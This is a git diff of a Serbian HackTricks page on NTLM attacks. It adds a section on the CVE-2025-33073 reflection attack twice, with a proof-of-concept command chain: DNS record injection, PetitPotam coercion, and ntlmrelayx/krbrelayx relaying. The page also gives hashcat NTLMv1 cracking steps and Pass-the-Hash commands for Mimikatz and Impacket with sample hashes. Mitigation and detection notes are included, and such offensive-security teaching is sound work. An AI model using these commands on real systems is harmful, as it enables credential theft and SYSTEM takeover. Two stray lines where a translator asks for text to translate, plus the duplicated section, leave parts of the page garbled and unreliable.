diff --git a/src/windows-hardening/ntlm/README.md b/src/windows-hardening/ntlm/README.md index 479ba64bf..be515af9e 100644 --- a/src/windows-hardening/ntlm/README.md +++ b/src/windows-hardening/ntlm/README.md @@ -2,30 +2,76 @@ {{#include ../../banners/hacktricks-training.md}} -## Osnovne informacije +## NTLM & Kerberos *Reflection* via Serialized SPNs (CVE-2025-33073) -U okruženjima gde su **Windows XP i Server 2003** u upotrebi, koriste se LM (Lan Manager) hešovi, iako je široko prepoznato da se lako mogu kompromitovati. Određeni LM heš, `AAD3B435B51404EEAAD3B435B51404EE`, ukazuje na situaciju u kojoj LM nije korišćen, predstavljajući heš za prazan string. +Windows sadrži nekoliko mitigacija koje pokušavaju da spreče *reflection* napade gde se NTLM (ili Kerberos) autentifikacija koja potiče sa jednog hosta ponovo šalje na **isti** host kako bi se dobile SYSTEM privilegije. -Podrazumevano, **Kerberos** autentifikacioni protokol je primarna metoda koja se koristi. NTLM (NT LAN Manager) dolazi u obzir pod određenim okolnostima: odsustvo Active Directory, nepostojanje domena, neispravnost Kerberosa zbog pogrešne konfiguracije, ili kada se pokušavaju povezati koristeći IP adresu umesto važećeg imena hosta. +Microsoft je prekinuo većinu javnih lanaca sa MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) i kasnijim zakrpama, međutim **CVE-2025-33073** pokazuje da se zaštite i dalje mogu zaobići zloupotrebom načina na koji **SMB klijent skraćuje Service Principal Names (SPNs)** koji sadrže *marshalled* (serijalizovane) informacije o cilju. -Prisutnost **"NTLMSSP"** header-a u mrežnim paketima signalizira NTLM autentifikacioni proces. +### TL;DR greške +1. Napadač registruje **DNS A-zapis** čija oznaka kodira marshalled SPN – npr. +`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50` +2. Žrtva je primorana da se autentifikuje na to ime hosta (PetitPotam, DFSCoerce, itd.). +3. Kada SMB klijent prosledi ciljni string `cifs/srv11UWhRCAAAAA…` `lsasrv!LsapCheckMarshalledTargetInfo`, poziv `CredUnmarshalTargetInfo` **uklanja** serijalizovani blob, ostavljajući **`cifs/srv1`**. +4. `msv1_0!SspIsTargetLocalhost` (ili ekvivalent za Kerberos) sada smatra da je cilj *localhost* jer se kratki deo hosta poklapa sa imenom računara (`SRV1`). +5. Kao posledica, server postavlja `NTLMSSP_NEGOTIATE_LOCAL_CALL` i injektuje **LSASS’ SYSTEM pristupni token** u kontekst (za Kerberos se kreira SYSTEM-označeni podsesijski ključ). +6. Prosleđivanje te autentifikacije sa `ntlmrelayx.py` **ili** `krbrelayx.py` daje pune SYSTEM privilegije na istom hostu. + +### Quick PoC +```bash +# Add malicious DNS record +dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \ +-a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \ +-d 10.10.10.50 + +# Trigger authentication +PetitPotam.py -u user -p pass -d DOMAIN \ +srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL + +# Relay listener (NTLM) +ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support + +# Relay listener (Kerberos) – remove NTLM mechType first +krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support +``` +### Patch & Mitigations +* KB patch for **CVE-2025-33073** dodaje proveru u `mrxsmb.sys::SmbCeCreateSrvCall` koja blokira bilo koju SMB vezu čiji cilj sadrži marširane informacije (`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`). +* Sprovodite **SMB potpisivanje** da sprečite refleksiju čak i na nepodmirenim hostovima. +* Pratite DNS zapise koji liče na `*...*` i blokirajte koercione vektore (PetitPotam, DFSCoerce, AuthIP...). + +### Detection ideas +* Mrežne snimke sa `NTLMSSP_NEGOTIATE_LOCAL_CALL` gde IP klijenta ≠ IP servera. +* Kerberos AP-REQ koji sadrži ključ podsesije i klijentski princip jednak imenu hosta. +* Windows događaji 4624/4648 SYSTEM prijave odmah nakon daljinskih SMB pisanja sa istog hosta. + +## References +* [Synacktiv – NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html) +* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073) + +## Basic Information + +U okruženjima gde su **Windows XP i Server 2003** u upotrebi, LM (Lan Manager) hešovi se koriste, iako je široko prepoznato da se lako kompromituju. Poseban LM heš, `AAD3B435B51404EEAAD3B435B51404EE`, ukazuje na scenario gde LM nije korišćen, predstavljajući heš za prazan string. + +Podrazumevano, **Kerberos** autentifikacioni protokol je primarna metoda koja se koristi. NTLM (NT LAN Manager) stupa na snagu pod određenim okolnostima: odsustvo Active Directory, nepostojanje domena, neispravnost Kerberosa zbog pogrešne konfiguracije, ili kada se pokušavaju veze koristeći IP adresu umesto važećeg imena hosta. + +Prisutnost **"NTLMSSP"** zaglavlja u mrežnim paketima signalizira NTLM autentifikacioni proces. Podrška za autentifikacione protokole - LM, NTLMv1 i NTLMv2 - omogućena je specifičnom DLL datotekom smeštenom na `%windir%\Windows\System32\msv1\_0.dll`. -**Ključne tačke**: +**Key Points**: - LM hešovi su ranjivi i prazan LM heš (`AAD3B435B51404EEAAD3B435B51404EE`) označava njegovo ne korišćenje. -- Kerberos je podrazumevana autentifikaciona metoda, dok se NTLM koristi samo pod određenim uslovima. -- NTLM autentifikacioni paketi su prepoznatljivi po "NTLMSSP" header-u. +- Kerberos je podrazumevana metoda autentifikacije, dok se NTLM koristi samo pod određenim uslovima. +- NTLM autentifikacijski paketi su prepoznatljivi po "NTLMSSP" zaglavlju. - LM, NTLMv1 i NTLMv2 protokoli su podržani od strane sistemske datoteke `msv1\_0.dll`. -## LM, NTLMv1 i NTLMv2 +## LM, NTLMv1 and NTLMv2 Možete proveriti i konfigurisati koji protokol će se koristiti: ### GUI -Izvršite _secpol.msc_ -> Lokalne politike -> Bezbednosne opcije -> Mrežna bezbednost: LAN Manager nivo autentifikacije. Postoji 6 nivoa (od 0 do 5). +Izvršite _secpol.msc_ -> Lokalne politike -> Opcije bezbednosti -> Mrežna bezbednost: LAN Manager nivo autentifikacije. Postoji 6 nivoa (od 0 do 5). ![](<../../images/image (919).png>) @@ -50,14 +96,14 @@ Moguće vrednosti: 2. Klijentska mašina **šalje zahtev za autentifikaciju** šaljući **ime domena** i **korisničko ime** 3. **server** šalje **izazov** 4. **klijent enkriptuje** **izazov** koristeći heš lozinke kao ključ i šalje ga kao odgovor -5. **server šalje** **kontroloru domena** **ime domena, korisničko ime, izazov i odgovor**. Ako **nije** konfigurisan Active Directory ili je ime domena ime servera, akreditivi se **proveravaju lokalno**. +5. **server šalje** **Kontroloru domena** **ime domena, korisničko ime, izazov i odgovor**. Ako **nije** konfigurisan Active Directory ili je ime domena ime servera, akreditivi se **proveravaju lokalno**. 6. **kontrolor domena proverava da li je sve ispravno** i šalje informacije serveru -**server** i **kontrolor domena** mogu da kreiraju **sigurni kanal** putem **Netlogon** servera jer kontrolor domena zna lozinku servera (ona se nalazi u **NTDS.DIT** bazi). +**server** i **Kontrolor domena** mogu da kreiraju **Sigurni Kanal** putem **Netlogon** servera jer Kontrolor domena zna lozinku servera (ona je unutar **NTDS.DIT** baze). ### Lokalna NTLM autentifikacija -Autentifikacija je kao ona pomenuta **ranije, ali** **server** zna **heš korisnika** koji pokušava da se autentifikuje unutar **SAM** fajla. Tako da, umesto da pita kontrolora domena, **server će sam proveriti** da li korisnik može da se autentifikuje. +Autentifikacija je kao ona pomenuta **pre, ali** **server** zna **heš korisnika** koji pokušava da se autentifikuje unutar **SAM** fajla. Tako da, umesto da pita Kontrolora domena, **server će sam proveriti** da li korisnik može da se autentifikuje. ### NTLMv1 izazov @@ -81,7 +127,7 @@ Možete zloupotrebiti neke akreditive/sesije koje već imate na AD da **tražite Ako koristite `responder`, možete pokušati da **koristite flag `--lm`** da biste pokušali da **smanjite** **autentifikaciju**.\ _Napomena da za ovu tehniku autentifikacija mora biti izvršena koristeći NTLMv1 (NTLMv2 nije validan)._ -Zapamtite da će štampač koristiti račun računara tokom autentifikacije, a računi računara koriste **duge i slučajne lozinke** koje **verovatno nećete moći da probijete** koristeći uobičajene **rečnike**. Ali **NTLMv1** autentifikacija **koristi DES** ([više informacija ovde](#ntlmv1-challenge)), tako da koristeći neke usluge posebno posvećene probijanju DES-a, moći ćete da ga probijete (možete koristiti [https://crack.sh/](https://crack.sh) ili [https://ntlmv1.com/](https://ntlmv1.com) na primer). +Zapamtite da će štampač koristiti račun računara tokom autentifikacije, a računi računara koriste **duge i slučajne lozinke** koje verovatno nećete moći da probijete koristeći uobičajene **rečnike**. Ali **NTLMv1** autentifikacija **koristi DES** ([više informacija ovde](#ntlmv1-challenge)), tako da koristeći neke usluge posebno posvećene probijanju DES-a, moći ćete da ga probijete (možete koristiti [https://crack.sh/](https://crack.sh) ili [https://ntlmv1.com/](https://ntlmv1.com) na primer). ### NTLMv1 napad sa hashcat @@ -126,7 +172,7 @@ Pokrenite hashcat (distribuirano je najbolje putem alata kao što je hashtopolis ```bash ./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1 ``` -U ovom slučaju znamo da je lozinka "password", tako da ćemo prevariti u svrhe demonstracije: +U ovom slučaju znamo da je lozinka "password", tako da ćemo prevariti u svrhu demonstracije: ```bash python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b DESKEY1: b55d6d04e67926 @@ -143,13 +189,13 @@ b4b9b02e6f09a9 # this is part 1 ./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d bd760f388b6700 # this is part 2 ``` -Please provide the text you would like translated. +I'm sorry, but I need the specific text you want translated in order to assist you. Please provide the content you would like me to translate. ```bash ./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788 586c # this is the last part ``` -I'm sorry, but I need the specific text you would like me to translate in order to assist you. Please provide the content you want translated. +Please provide the text you would like me to translate to Serbian. ```bash NTHASH=b4b9b02e6f09a9bd760f388b6700586c ``` @@ -157,7 +203,7 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c Dužina **izazova je 8 bajtova** i **2 odgovora se šalju**: Jedan je **24 bajta** dug i dužina **drugog** je **varijabilna**. -**Prvi odgovor** se kreira šifrovanjem koristeći **HMAC_MD5** **niz** sastavljen od **klijenta i domena** i koristeći kao **ključ** **MD4** heš **NT heša**. Zatim, **rezultat** će se koristiti kao **ključ** za šifrovanje koristeći **HMAC_MD5** **izazov**. Tome će se **dodati izazov klijenta od 8 bajtova**. Ukupno: 24 B. +**Prvi odgovor** se kreira šifrovanjem koristeći **HMAC_MD5** string sastavljen od **klijenta i domena** i koristeći kao **ključ** **MD4 hash** **NT hash**. Zatim, **rezultat** će se koristiti kao **ključ** za šifrovanje koristeći **HMAC_MD5** **izazov**. Tome će se **dodati izazov klijenta od 8 bajtova**. Ukupno: 24 B. **Drugi odgovor** se kreira koristeći **several values** (novi izazov klijenta, **vremensku oznaku** da bi se izbegli **replay napadi**...) @@ -165,14 +211,14 @@ Ako imate **pcap koji je uhvatio uspešan proces autentifikacije**, možete prat ## Pass-the-Hash -**Kada imate heš žrtve**, možete ga koristiti da **imituje**.\ -Treba da koristite **alat** koji će **izvršiti** **NTLM autentifikaciju koristeći** taj **heš**, **ili** možete kreirati novu **sessionlogon** i **ubaciti** taj **heš** unutar **LSASS**, tako da kada se izvrši bilo koja **NTLM autentifikacija**, taj **heš će biti korišćen.** Poslednja opcija je ono što radi mimikatz. +**Kada imate hash žrtve**, možete ga koristiti da je **imituјete**.\ +Trebalo bi da koristite **alat** koji će **izvršiti** **NTLM autentifikaciju koristeći** taj **hash**, **ili** možete kreirati novu **sessionlogon** i **ubaciti** taj **hash** unutar **LSASS**, tako da kada se izvrši bilo koja **NTLM autentifikacija**, taj **hash će biti korišćen.** Poslednja opcija je ono što radi mimikatz. **Molimo vas, zapamtite da možete izvesti Pass-the-Hash napade takođe koristeći račune računara.** ### **Mimikatz** -**Treba da se pokrene kao administrator** +**Mora se pokrenuti kao administrator** ```bash Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"' ``` @@ -180,7 +226,7 @@ Ovo će pokrenuti proces koji će pripadati korisnicima koji su pokrenuli mimika ### Pass-the-Hash sa linux-a -Možete dobiti izvršavanje koda na Windows mašinama koristeći Pass-the-Hash sa Linux-a.\ +Možete dobiti izvršenje koda na Windows mašinama koristeći Pass-the-Hash sa Linux-a.\ [**Pristupite ovde da naučite kako to uraditi.**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md) ### Impacket Windows kompajlirani alati @@ -189,7 +235,7 @@ Možete preuzeti [impacket binarne datoteke za Windows ovde](https://github.com/ - **psexec_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local` - **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local` -- **atexec.exe** (U ovom slučaju morate navesti komandu, cmd.exe i powershell.exe nisu validni za dobijanje interaktivne ljuske) `C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'` +- **atexec.exe** (U ovom slučaju morate navesti komandu, cmd.exe i powershell.exe nisu validni za dobijanje interaktivne ljuske)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'` - Postoji još nekoliko Impacket binarnih datoteka... ### Invoke-TheHash @@ -240,11 +286,11 @@ wce.exe -s ::: ## Napad Interni Monolog -Napad Interni Monolog je suptilna tehnika ekstrakcije kredencijala koja omogućava napadaču da preuzme NTLM hešove sa žrtvinog računara **bez direktne interakcije sa LSASS procesom**. Za razliku od Mimikatz-a, koji čita hešove direktno iz memorije i često ga blokiraju rešenja za bezbednost krajnjih tačaka ili Credential Guard, ovaj napad koristi **lokalne pozive NTLM autentifikacionom paketu (MSV1_0) putem Interfejsa za podršku bezbednosti (SSPI)**. Napadač prvo **smanjuje NTLM podešavanja** (npr., LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) kako bi osigurao da je NetNTLMv1 dozvoljen. Zatim se pretvara u postojeće korisničke tokene dobijene iz aktivnih procesa i pokreće NTLM autentifikaciju lokalno kako bi generisao NetNTLMv1 odgovore koristeći poznati izazov. +Napad Interni Monolog je suptilna tehnika ekstrakcije kredencijala koja omogućava napadaču da preuzme NTLM hešove sa žrtvine mašine **bez direktne interakcije sa LSASS procesom**. Za razliku od Mimikatz-a, koji čita hešove direktno iz memorije i često ga blokiraju rešenja za bezbednost krajnjih tačaka ili Credential Guard, ovaj napad koristi **lokalne pozive NTLM autentifikacionom paketu (MSV1_0) putem Interfejsa za podršku bezbednosti (SSPI)**. Napadač prvo **smanjuje NTLM podešavanja** (npr. LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) kako bi osigurao da je NetNTLMv1 dozvoljen. Zatim se pretvara u postojeće korisničke tokene dobijene iz pokrenutih procesa i pokreće NTLM autentifikaciju lokalno kako bi generisao NetNTLMv1 odgovore koristeći poznati izazov. Nakon hvatanja ovih NetNTLMv1 odgovora, napadač može brzo povratiti originalne NTLM hešove koristeći **prekomponovane rainbow tabele**, omogućavajući dalja Pass-the-Hash napade za lateralno kretanje. Ključno je da napad Interni Monolog ostaje suptilan jer ne generiše mrežni saobraćaj, ne ubrizgava kod, niti pokreće direktne dump-ove memorije, što ga čini teže uočljivim za odbrambene mehanizme u poređenju sa tradicionalnim metodama poput Mimikatz-a. -Ako NetNTLMv1 nije prihvaćen—zbog primenjenih bezbednosnih politika, napadač može da ne uspe da dobije NetNTLMv1 odgovor. +Ako NetNTLMv1 nije prihvaćen—zbog primenjenih bezbednosnih politika, napadač može propasti u pokušaju da dobije NetNTLMv1 odgovor. Da bi se ovaj slučaj obradio, alat Interni Monolog je ažuriran: Dinamički stiče server token koristeći `AcceptSecurityContext()` kako bi i dalje **uhvatio NetNTLMv2 odgovore** ako NetNTLMv1 ne uspe. Iako je NetNTLMv2 mnogo teže probiti, i dalje otvara put za napade preusmeravanja ili offline brute-force u ograničenim slučajevima. @@ -258,8 +304,54 @@ PoC se može naći na **[https://github.com/eladshamir/Internal-Monologue](https ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {{#endref}} -## Parsiranje NTLM izazova iz mrežnog snimka +## Parsiranje NTLM izazova iz mrežnog hvatanja **Možete koristiti** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide) +## NTLM & Kerberos *Refleksija* putem Serijalizovanih SPN-ova (CVE-2025-33073) + +Windows sadrži nekoliko mitigacija koje pokušavaju da spreče *refleksivne* napade gde se NTLM (ili Kerberos) autentifikacija koja potiče sa hosta preusmerava nazad na **isti** host kako bi se stekle SYSTEM privilegije. + +Microsoft je prekinuo većinu javnih lanaca sa MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) i kasnijim zakrpama, međutim **CVE-2025-33073** pokazuje da se zaštite i dalje mogu zaobići zloupotrebom načina na koji **SMB klijent skraćuje Imena Servisnih Principala (SPN)** koja sadrže *marširane* (serijalizovane) informacije o cilju. + +### TL;DR greške +1. Napadač registruje **DNS A-zapis** čija oznaka kodira marširani SPN – npr. +`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50` +2. Žrtva je primorana da se autentifikuje na to ime hosta (PetitPotam, DFSCoerce, itd.). +3. Kada SMB klijent prosledi ciljni string `cifs/srv11UWhRCAAAAA…` funkciji `lsasrv!LsapCheckMarshalledTargetInfo`, poziv `CredUnmarshalTargetInfo` **uklanja** serijalizovani blob, ostavljajući **`cifs/srv1`**. +4. `msv1_0!SspIsTargetLocalhost` (ili ekvivalent za Kerberos) sada smatra da je cilj *localhost* jer se kratki deo hosta poklapa sa imenom računara (`SRV1`). +5. Kao posledica toga, server postavlja `NTLMSSP_NEGOTIATE_LOCAL_CALL` i ubrizgava **LSASS-ov SYSTEM pristupni token** u kontekst (za Kerberos se kreira SYSTEM-označeni podključ sesije). +6. Preusmeravanje te autentifikacije sa `ntlmrelayx.py` **ili** `krbrelayx.py` daje pune SYSTEM privilegije na istom hostu. + +### Brza PoC +```bash +# Add malicious DNS record +dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \ +-a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \ +-d 10.10.10.50 + +# Trigger authentication +PetitPotam.py -u user -p pass -d DOMAIN \ +srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL + +# Relay listener (NTLM) +ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support + +# Relay listener (Kerberos) – remove NTLM mechType first +krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support +``` +### Patch & Mitigations +* KB zakrpa za **CVE-2025-33073** dodaje proveru u `mrxsmb.sys::SmbCeCreateSrvCall` koja blokira svaku SMB vezu čiji cilj sadrži marširane informacije (`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`). +* Sprovodite **SMB potpisivanje** da biste sprečili refleksiju čak i na neispravnim hostovima. +* Pratite DNS zapise koji liče na `*...*` i blokirajte koercione vektore (PetitPotam, DFSCoerce, AuthIP...). + +### Detection ideas +* Mrežni snimci sa `NTLMSSP_NEGOTIATE_LOCAL_CALL` gde IP klijenta ≠ IP servera. +* Kerberos AP-REQ koji sadrži ključ podsesije i klijentski princip jednak imenu hosta. +* Windows događaj 4624/4648 SYSTEM prijave odmah nakon daljinskih SMB pisanja sa istog hosta. + +## References +* [Synacktiv – NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html) +* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073) + {{#include ../../banners/hacktricks-training.md}}